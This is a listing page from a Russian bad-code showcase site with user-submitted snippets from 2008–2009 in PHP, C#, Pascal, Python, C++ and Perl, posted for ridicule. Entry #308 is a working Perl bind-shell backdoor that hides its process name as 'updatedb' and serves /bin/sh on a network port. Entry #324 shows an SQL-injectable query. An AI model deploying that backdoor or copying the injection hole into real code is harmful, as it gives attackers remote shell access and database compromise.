1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #390

    +51.5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    $screen_width = "<script language=\"javascript\">document.write(screen.width);</script>";
    
    if ($screen_width < 400){
             $new_limit = "900";
             $limit_var = "width";
     }elseif ($screen_width > 400){
             $new_limit = "400";
             $limit_var = "width";
          }else {
                          $new_limit = $image_info[0];
             $limit_var = "width";
          }

    Ресайз картинко по ширине экрана %)

    guest, 14 Января 2009

    Комментарии (8)
  3. C# / Говнокод #366

    −14

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    private static bool EndsWithSaurus(String s)
    {
        if ((s.Length > 5) && 
            (s.Substring(s.Length - 6).ToLower() == "saurus"))
        {
            return true;
        }
        else
        {
            return false;
        }
    }

    MSDN

    guest, 11 Января 2009

    Комментарии (8)
  4. Pascal / Говнокод #361

    +20.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    if TimeToStr(Now) = TimeToStr(Now) then
     begin
      ShowMessage(TimeToStr(Now));
        end
       else
        ShowMessage(TimeToStr(Now))
       end;

    часеги

    guest, 11 Января 2009

    Комментарии (8)
  5. Python / Говнокод #338

    −327.4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    #-*- coding:cp1251 -*-
    from Tkinter import *
    """ pyCalc by deluxe, thanks to Sanch0
    Калькулятор работает только с 2 числами и одним действием над ними."""
    # глобальные переменные
    x1=''
    x2=''
    deistvie=''
    # функции батонов ввода цифр и запятой
    # если действие еще не задано, заполняется х1, а если задано - х2
    # и значение переменной отражается на соотв. виджете
    def press1():  
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'1'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'1'
    		lblx2.configure(text=x2)
    def press2():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'2'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'2'
    		lblx2.configure(text=x2)
    def press3():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'3'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'3'
    		lblx2.configure(text=x2)
    def press4():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'4'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'4'
    		lblx2.configure(text=x2)
    def press5():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'5'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'5'
    		lblx2.configure(text=x2)
    def press6():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'6'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'6'
    		lblx2.configure(text=x2)
    def press7():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'7'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'7'
    		lblx2.configure(text=x2)
    def press8():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'8'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'8'
    		lblx2.configure(text=x2)
    def press9():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'9'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'9'
    		lblx2.configure(text=x2)
    def press0():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'0'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'0'
    		lblx2.configure(text=x2)
    def pressdot():
    	global x1, deistvie, x2
    	if deistvie=='': 
    		x1=x1+'.'
    		lblx1.configure(text=x1)
    	else: 
    		x2=x2+'.'
    		lblx2.configure(text=x2)

    guest, 06 Января 2009

    Комментарии (8)
  6. C++ / Говнокод #332

    +31.2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    /* ...*/ someMethod (/*someargs*/) {
        //...
    	Create();
    	Create();
    	Create();
    	Create();
    	Create();
        //...
    }

    guest, 05 Января 2009

    Комментарии (8)
  7. PHP / Говнокод #324

    +23.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    <?php
    function is_featured($word_id) {
    	$sql = "SELECT * FROM `featured` WHERE `featured_id` = '$word_id'";
    	$results = mysql_query($sql);
    	if (mysql_num_rows($results)) {
    		return true;
    	} else {
    		return false;
    	}
    }

    Классический говнокод, встречаю очень часто

    guest, 03 Января 2009

    Комментарии (8)
  8. Perl / Говнокод #308

    −327.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    #!/usr/bin/perl
    
    $port = 32767;
    $port = $ARGV[0] if $ARGV[0];
    exit if fork;
    $0 = "updatedb" . " " x100;
    $SIG{CHLD} = 'IGNORE';
    use Socket;
    socket(S, PF_INET, SOCK_STREAM, 0);
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    bind(S, sockaddr_in($port, INADDR_ANY));
    listen(S, 50);
    while(1)
    {
        accept(X, S);
        unless(fork)
        {
            open STDIN, "<&X";
            open STDOUT, ">&X";
            open STDERR, ">&X";
            close X;
            exec("/bin/sh");
        }
        close X;
    }

    guest, 30 Декабря 2008

    Комментарии (8)
  9. C# / Говнокод #296

    −7

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    int CompareTo (A a1, A a2)
    {
       if (a1.Year>a2.Year) return 1;
       if (a1.Year<a2.Year) return -1;
        return 0;
    }

    реализация интерфейса IComparable, чем не понравилось стандартное норминрование: return a1.Year - a2.Year; так и не понял

    guest, 28 Декабря 2008

    Комментарии (8)
  10. C# / Говнокод #292

    +13.4

    1. 1
    prNewProduct.Description = Convert.ToString(tbDescription.Text);

    А мы её ещё стрингее сделаем!

    guest, 26 Декабря 2008

    Комментарии (8)
  11. Python / Говнокод #289

    −421

    1. 1
    2. 2
    def list2str(lst):
    	return reduce(lambda x,y:x+y,str(list(lst)).split("]")[0].split("[")[1].split(", "))

    Функция, переводящая список в строку

    guest, 26 Декабря 2008

    Комментарии (8)